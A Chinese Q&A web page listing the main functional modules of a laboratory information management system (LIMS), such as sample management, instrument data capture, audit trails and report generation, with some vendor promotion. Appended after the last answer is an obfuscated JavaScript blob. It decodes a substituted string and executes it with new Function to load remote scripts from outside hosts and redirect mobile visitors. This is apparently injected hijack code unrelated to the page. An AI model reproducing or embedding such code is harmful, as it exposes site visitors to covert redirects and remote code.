实验室信息管理系统LIMS系统有功能,主要模块是哪些?

2024-10-31 05:26:09
推荐回答(3个)
回答1:

LIMS(Laboratory Information Management System)即实验室信息管理系统,是通过对样品检验流程、分析数据及报告、实验室资源和客户信息等要素的综合管理,按照标准化实验室管理规范,建立符合实验室业务流程的质量体系,实现实验室信息化管理。是实验室提高分析水平、规范样品检测过程和降低实验成本,为客户提供优秀服务的信息平台。

我知道的宏峰科技有为赛宝实验室 广州能源检测研究院做过智检系统~

本文为大家介绍LIMS系统的一些基本功能


1 检测申请

检测申请是LIMS进行业务管理流程的第一步,检测申请通常由客户直接通过LIMS提出或者由实验室相关服务部门协助客户或代替客户填写检测申请。LIMS应该记录有关申请测试客户(内部客户或外部客户)的相关信息、供试样品的相关信息、检测要求和特殊要求等信息。填写检测申请的客户必须是LIMS中的授权客户。系统还可以记录填写的信息、填写人、填写时间等。并应支持输出和打印纸质的申请单。


先进的LIMS可以提供多种的申请单录入方式,如信息导入、通过互联网填写测试申请,从其他业务信息系统直接下达检测任务等。


2 合同评审和样品接收

实验室相关人员在收到客户测试申请和样品后,在LIMS中对申请进行合同评审,审核送检样品是否和申请有偏离。


3 检测任务的分配和指派

LIMS应该可以通过识别与检测任务相关的检测部门和该测试的授权情况自动分配到检测人员或检测组。对特殊用户也可以由人工调配的方式下派检测任务。


4 检测结果录入

检测结果的录入是指样品检测完成后,将检测结果以各种方式录入到LIMS中的过程。检测结果录入环节是LIMS的重要环节。先进的LIMS会提供很多实用的功能来辅助检测人员进行试验和结果的录入并进行更好的质量控制。


5 自动计算

将测试方法编入LIMS中,检测人员只要输入仪器的测试结果就可以完成最终结果的计算。


6 仪器数据采集

通过自动采集,直接将仪器输出的结果数据、测试谱图等结果和原始记录导入到LIMS中,减轻测试人员工作量,并减少可能出现的差错。


7多种不同格式的结果和原始记录采集

通过LIMS可以保存大量非数据性的结果文件,如照片、图像、实验谱图等。


8 通过质控样品进行结果修正

很多LIMS引入了测试批的概念,既用同一仪器、同一检测方法、很多样品在一批中检测,例如一个具有自动进样功能的ICP进行的含量测定实验。检测人员可以在每批中加入质控样品,根据质控样品的检测结果去对这批样品的结果进行修正,如质控样品的检测结果超出规定范围,则判断整批样品的结果无效,需重新进行仪器校准,重新进行试验。


9 查看检测的方法和SOP

LIMS可以关联测试相应的操作指导书,仪器指导书,测试方法文件。检测人员在进行检测过程中,可以方便的查询这些相关技术文档的现行有效版本。

10 测试工作流程

如果实验室进行检测的某些实验,需要多人,多步骤完成。如一个测试需要进行制样、称重、消解、定容和上机实验等多步骤,这些步骤可能由不同的检测人员完成,对于这样的情况可以通过LIMS进行测试工作流程的定义,详细记录每步操作的时间、操作人员等信息。


11 数据修改跟踪

一个完善的LIMS应该具备数据修改跟踪功能,对于录入和修改过的检测数据,系统应该记录录入或修改人,并记录操作发生的时间,以便进行追溯。


12 数据和报告审核

数据和报告审核人员通过LIMS进行试验数据和检测报告的审核。一个好的LIMS应该有报告自动生成的功能。数据和报告审核人员除了可以查看和审核检测结果数据以外,还应可以查看检测过程中的相关质量信息,如实验所用仪器、标准品、检测人员等信息。数据和检测结果报告的审核需要经过电子签名等安全手段的验证,保证操作人员是合法授权的。


13 样品管理

样品管理是LIMS中非常重要的一个部分。LIMS应该动态记录样品从到达实验室到检测结束直至用户取回样品或由实验室处置的全过程。样品进入实验室时,用户可以在系统中记录样品到达的时间、样品当前状态、是否与描述或规定的条件有偏离。LIMS应该采用条码等方式对样品进行标识,并保证样品标识的唯一性以方便样品在整个检测过程中的传递和查询。
LIMS应该提供样品存放位置和条件的信息。如果可能,应通过识别样品性质、材质等特性,自动的分配符合存放条件的存放位置。实验样品的领用、归还应在LIMS中进行记录,可以通过条码扫描的方式进行领用和归还操作。对于超过留样日期需要进行处置的样品,系统中应记录处置的方式、处置日期等信息。


14 分包管理

当实验室由于未预料原因或持续性原因需要将检测工作分包时,LIMS需要对这一工作进行有效的控制和管理。首先,除客户指定特定分包商外,实验室分包的检测机构或实验室必须是经过本实验室考核、认可的实验室。需要在LIMS中保持被分包实验室的信息,包括其检测能力、质量体系情况、相关资质证明、联系方式等信息。如需要,LIMS也可以保存分包协议、分包商审核记录等文件的电子版。LIMS在分包样品时,应该可以输出分包申请单,输出信息时,应该确保客户信息的原则。LIMS应提供分包样品的追踪功能,包括分包日期,如邮寄方式寄送样品,可以通过快递单号码进行样品的追踪。执行检测任务的实验室出具检测报告后,实验室可以将分包结果录入到LIMS中,如需要,还可以将执行检测任务的实验室出具的报告扫描本或电子版本存入系统中。


15 人员管理

LIMS中的人员管理不像人力资源系统那样大而全,其中虽然包含人员的一些基本信息,但是LIMS中的人员管理应该更偏重于对人员的检测能力、培训和授权的管理。LIMS应该可以维护人员的相关技术档案、教育背景、资格、当前工作描述等相关信息。人员的培训过程是一个动态的过程,培训包含培训的计划、培训的实施和培训的考核。实验室可以通过LIMS选定与当期和预期检测任务相适应的培训计划,并根据实际情况进行计划的评价和修订。实验室可以通过LIMS通知参与培训人员,并通过系统发放培训相关的电子版材料和教材。参与培训人员也可以通过LIMS对培训进行反馈以提高培训的针对性和有效性。LIMS还应该提供培训考核情况,培训资料归档等相关辅助功能。LIMS应该保持人员的授权情况,并根据这些授权情况进行流程上的控制,如授权签字人未经过系统的授权,不允许签发检测报告。一个检测人员未经某测试方法和仪器的授权,不能进行该实验。


16 仪器和计量器具管理

LIMS中的仪器和检测计量器具的管理也不同于我们常见的固定资产的管理系统。它分为静态数据管理和动态管理。仪器的静态管理包括仪器设备的基本信息的管理,仪器配件的管理,仪器技术参数维护等。仪器的动态管理包括仪器的期间核查、日常维护、仪器的校准、仪器的检定、量值溯源计划、仪器状态的管理等。通过测量仪器的动态管理,可以让实验室检测人员和管理人员随时了解仪器状况,确保检测结果的准确性和有效性。


17 试剂、标准物质和供应商管理

试剂和标准物质的采购流程通常不在LIMS中进行管理。但是对提供这些试剂和标准物质的供应商需要进行管理。需要在LIMS中维护实验室认可的合格供应商的资料,如地址、联系方式、供应试剂和标准物质的目录等。对于采购的每一批试剂均应记录其供应商,以便进行追溯。LIMS还应对试剂的存放、库存等进行管理。对于严重影响试验结果的试剂和标准物质,LIMS应在每次试验时录入或通过条码扫描的方式记录使用的试剂批号等信息。


18 方法管理

LIMS应对实验方法进行严格的版本控制,通过在LIMS中的方法的版本更新和控制,保证实验室使用的检测方法是一致的并且是现行有效的。


19 设施和环境条件管理

随着科学技术的不断发展,越来越多的实验室使用可以进行数据采集和分析的温湿度计和检测试验环境的电磁干扰、辐射、振级的测量仪器。通过LIMS和这些实时监控实验室环境的仪器的结合,可以更为有效的监控、分析实验室的环境条件,并可以将环境条件与仪器和测试项目进行关联,设置环境条件阈值,超过相应阈值时,通过LIMS对测试人员进行提醒和警告。保证检测结果的准确性和有效性。


20 文件管理

LIMS还应对实验室的技术文档、质量文件、检验标准、校准规范、以及相关的其他文件进行管理,实现对文件的起草、发布,修改,审核全过程的管理和监控。建立文件目录和分类,可对文件进行查阅等级控制。对文件可以进行自由查询,即通过指定任意查询条件进行查询或者进行模糊查询,并可打印查询得到的文件。可添加和删除文件,对删除(废止)的文件进行
标记,并有备注说明删除原因。可记录文件发放情况。当文件临近失效或超出有效期时,系统自动提醒文件管理员进行相应处理。

21实验室质量控制

实验室质量控制是为将分析测试结果的误差控制在允许限度内所采取的控制措施。传统意义上,我们通过实验室内质量控制和实验室间比对来进行实验室的质量控制。在实验室内,质量控制一般包括空白实验、校准曲线的核查、仪器设备的标定、平行样分析、加标样分析以及使用质量控制图等。实验室间比对包括分发标准样对诸实验室的分析结果进行评价、对分析方法进行协作实验验证、加密码样进行考察等。它是发现和消除实验室间存在的系统误差的重要措施。可以通过LIMS进行实验室质量的控制。LIMS对质量控制方面的管理体现在两方面,首先是有计划、有目的和针对性的对考核样的处理以及实验室内部和实验室间的比对试验和评价。另一个方面就是在日常检测工作中对质控样品的处理,检测仪器校准曲线,检测结果趋势图和控制图等。


22 实验室质量活动管理

实验室的日常质量活动可以通过LIMS进行管理。如管理评审、内部评审、纠正措施、预防措施、不符合检测工作控制等。这些质量活动可以通过LIMS进行动态的管理,也可以通过其他办公自动化系统进行流程管理或用纸质进行流转管理。但是,正如本文上面提到的,LIMS的实质其实就是实验室管理思想的实体化,所以,实验室通过质量活动提出的持续改进的措施和管理流程的调整需求反映到LIMS上,不断的完善,为管理体系服务。


23 服务客户

通过LIMS服务客户表现在两个层面上,第一就是通过信息化的管理,更为有效的保护客户信息的私密性。第二就是通过LIMS和其相关外延功能提供客户更好的服务,如建立客户意见反馈和投诉平台,通过互联网直接下载检测报告,网上查询报告真伪,通过互联网随时查询检测进度,检测报告完成后进行短信或邮件的提醒,授权客户可以通过互联网直接提出测试申请等。


24 结果报告管理

LIMS的一个非常重要的功能就是自动生成检测结果报告,现在许多实验室首先使用LIMS的此项功能。其通常实现的方式是采用第三方报表工具或自主研发的报表工具来设置一定格式的报告模板,自动获取检测结果数据和客户要求的、说明检测或校准结果所必需的和所用方法要求的信息来自动的组织和生成报告。报告的生成过程中无需人工干预。报告的模板应按照实验室要求和《检测和校准实验室能力认可准则》的要求来制定,以确保提供必需的信息。所有报告中的信息必须是从系统数据库中抽取的,换句话说,体现在结果报告中的任何客户信息、检测和方法信息、仪器信息和实验结果信息必须和LIMS数据库中的信息完全一致,并可以在系统中追溯这些信息。如果LIMS提供结果电子传送的功能,通过WEB方式或者自动发送邮件、或者电子传真平台等方式发送结果报告时,需要系统保证结果报告在传送过程中的完整性和保密性。消除在传送过程中的风险,保护客户信息。


25 数据的统计和查询

一个信息系统最大的优势就是对数据的统计、查询和分析功能。通过建立LIMS,实验室的管理者不再需要通过经验判断,而是通过更加科学和准确的大量统计数据进行管理的决策以及管理体系和质量体系的改进。由此可见,一个LIMS的统计和查询功能是非常重要的功能。一个好的LIMS应该有着开放的、强大的、可自由定制的查询和统计功能。

回答2:

1、检测申请
2、合同评审和样品接收
3、检测任务的分配和指派
4、检测结果录入
5、自动计算
6、仪器数据采集
7、多种不同格式的结果和原始记录采集
8、通过质控样品进行结果修正
9、查看检测的方法和SOP
10、测试工作流程
11、数据修改跟踪
12、数据和报告审核
13、样品管理
14、分包管理
15、人员管理
16、仪器和计量器具管理
17、试剂、标准物质和供应商管理
18、方法管理
19、设施和环境条件管理
20、文件管理
21、实验室质量控制
22、实验室质量活动管理
23、服务客户
24、结果报告管理
25、数据的统计和查询

回答3:

现下的实验室信息管理系统LIMS系统符合ISO/IEC 17025, FDA 21CFR PART11等国际标准和准则的要求,以实验室为中心,将实验室的业务流程、环境、人员、仪器设备、标物标液、化学试剂、标准方法、图书资料、文件记录、项目管理、客户管理等因素有机结合建立质量安全检测实验室信息化管理工具,规范实验室检测流程、提升检测效率、降低人员工作量。青之实验室信息管理系统LIMS系统以程序化方式规范质量检验和质量管理工作流程,提高实验室综合检测能力和分析水平,建立起快速高效的量监督信息 化平台,确保质监工作更好地为生产、科研及客户服务。使管理者直观了解实验室检测工作开展情况,检测数、不合格情况等信息快速获取。数据逐级共享,上级对下级工作开展及工作结果进行监控。并积级响应国家无纸化、低碳办公的要求,实现全程无纸化,符合最新“检验检测机构资质认定评审准则”。
实验室信息管理系统LIMS系统基础功能介绍:
(1)具有检验业务流程管理、流程变更简易、配置化、所见即所得。
(2)具有检验业务代码配置管理。检品编号、报告书编号等各类编号生成规则的配置,检验性质与检验类别的编号规则与流水号规则的配置。检验业务流程过程中每个环节操作样品基本信息与检验项目相关信息的权限配置、不同环节的修订配置、签收配置。
(3)具有检验业务需求配置管理。可对样品任务分派信息的信息量多少可以增加、减少、调整配置。可对检验业务流程中每个环节的功能项、按钮功能、显示信息、表单内容组成进行全面的组态配置。可对流程中生成的日志格式与信息量进行配置。
(4)能够记录并形成系统日志(包括时间、人员、事件、发生操作的计算机等),并提供灵活的审计追踪功能,形成日志记录的相关参数需要由系统管理员进行设定。
(5)可以对输出数据的设备进行数据自动采集、计算。
(6)对输入的同一项目的信息具有统计视图分析、多维统计报表分析、生成、汇总,多维视图汇总查询、数据图表实时动态分析的功能。
(7)针对不同类型检验业务开发不同的检验报告书和检验流程,并预留接口。以适应其他新检验项目的开展。
(8)部门之间、人员之间的电子信息可以交换。并全面连接待办事宜与短信通知。
(9)可以进行人员权限设置,包括角色权限、菜单权限、工作组权限、大纲权限、视图权限、按钮功能权限。
(10)涉及到的检品流程中的所有字段支持特殊符号输入,如上下标、分子式、公式及其他特殊符号,并可用户自行配置、维护、生成。

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();